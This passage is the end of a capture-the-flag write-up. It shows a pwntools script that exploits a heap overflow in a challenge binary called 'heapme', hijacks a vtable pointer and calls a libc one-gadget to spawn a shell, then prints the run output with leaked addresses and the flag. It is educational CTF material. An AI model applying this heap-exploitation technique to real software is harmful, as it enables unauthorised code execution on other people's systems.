p += p64(0) + p64(0x21) + p64(0) * 2 + p64(0) + p64(0x41) + p64(leak - offset - 0x8)
write_disk(15, p)

create_disk(48, 10)
log.info('libc.bss: %#x' % (leak - offset - 0x8))
create_disk(48, 11) # points into libc.bss

# This is the magic gadget we use
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
# [rsp+0x70] contains the index [1] of the DiskFactory, therefore, we dont use this index
# to satisfy the condition
write_disk(11, p64(libc_base + 0xf1147)) # magic gadget

# Overflowing the heap into disk index [15] with a vtable->read pointing to magic gadget
vtable = leak - offset - 0x8 + 0x10
p = 'A' * 256 + p64(0x110) + p64(0x21) + p64(vtable)
write_disk(0, p)

# Triggering the exploit
r.sendline('1')
r.sendline('15')
r.recvuntil('read Disk\n')
r.recvline()

r.interactive()
r.close()

And the execution of the script:

$ ./solve.py a
[*] '/home/user/Documents/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/user/Documents/heapme'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/usr/bin/socat': pid 19511
[*] leak: 0x7fd8d682cb78
[*] libcbase: 0x7fd8d6468000
[*] libc.bss: 0x7fd8d682c1e1
[*] Switching to interactive mode
$ cat flag.txt
https://ctf.hexpresso.fr/756875e19d16013c5072b2b6e17804f7

Conclusion

Thanks for the fun challenges, and see you in Lille :-)